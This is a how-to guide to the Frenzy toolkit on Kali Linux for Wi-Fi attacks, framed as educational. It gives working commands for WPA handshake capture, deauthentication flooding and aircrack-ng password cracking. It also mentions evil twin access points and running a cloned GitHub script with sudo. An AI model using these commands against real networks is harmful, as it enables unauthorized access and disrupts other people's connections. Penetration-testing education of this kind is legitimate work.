Performing Wireless Attacks with Frenzy on Kali Linux – A Step-by-Step Guide
Disclaimer: This article is for educational purposes only. Do not attempt any wireless attack on networks you do not own or have explicit permission to test. Unauthorized access is illegal and unethical.
1. Introduction to Frenzy (Fren)
Frenzy, often referred to as Fren, is a lightweight wireless attack toolkit available in Kali Linux. It combines utilities to perform Wi-Fi monitoring, scanning, handshake capturing, and packet injection — particularly useful in WPA/WPA2 cracking scenarios.
2. Prerequisites
- A system running Kali Linux
- A wireless adapter that supports monitor mode and packet injection (e.g., Alfa AWUS036NHA)
- Basic understanding of wireless protocols (802.11)
3. Installing or Verifying Frenzy
Option 1: From Kali's repositories
sudo apt update
sudo apt install frenzy
Option 2: From GitHub (if not in repo)
git clone https://github.com/xHak9x/frenzy.git
cd frenzy
chmod +x frenzy.sh
4. Setting Up Wireless Adapter
Step 1: Identify your wireless interface:
iwconfig
Step 2: Enable monitor mode:
sudo airmon-ng start wlan0
5. Launching Frenzy
sudo ./frenzy.sh
Navigate the menu using keyboard input. Choose scanning, attacks, or handshake capturing options as needed.
6. Using Frenzy for Wireless Attacks
WARNING: Only use on authorized networks!
A. Wi-Fi Scanning
Frenzy scans and lists all nearby Wi-Fi networks with details like BSSID, encryption, and channel.
B. Capture WPA Handshake
airodump-ng --bssid [BSSID] -c [Channel] -w handshake wlan0mon
C. Deauthentication Attack
aireplay-ng --deauth 10 -a [BSSID] wlan0mon
D. Crack the Handshake
aircrack-ng -w rockyou.txt -b [BSSID] handshake.cap
7. Additional Features
- Evil Twin AP creation
- MAC spoofing
- Packet sniffing
8. Logs and Output
Frenzy saves logs and handshakes in its working directory. Check with:
ls -lh
9. Stopping Monitor Mode
sudo airmon-ng stop wlan0mon
sudo service NetworkManager restart
10. Final Thoughts
Frenzy is a powerful tool for ethical hacking and penetration testing. Ensure you operate within the boundaries of the law and professional ethics.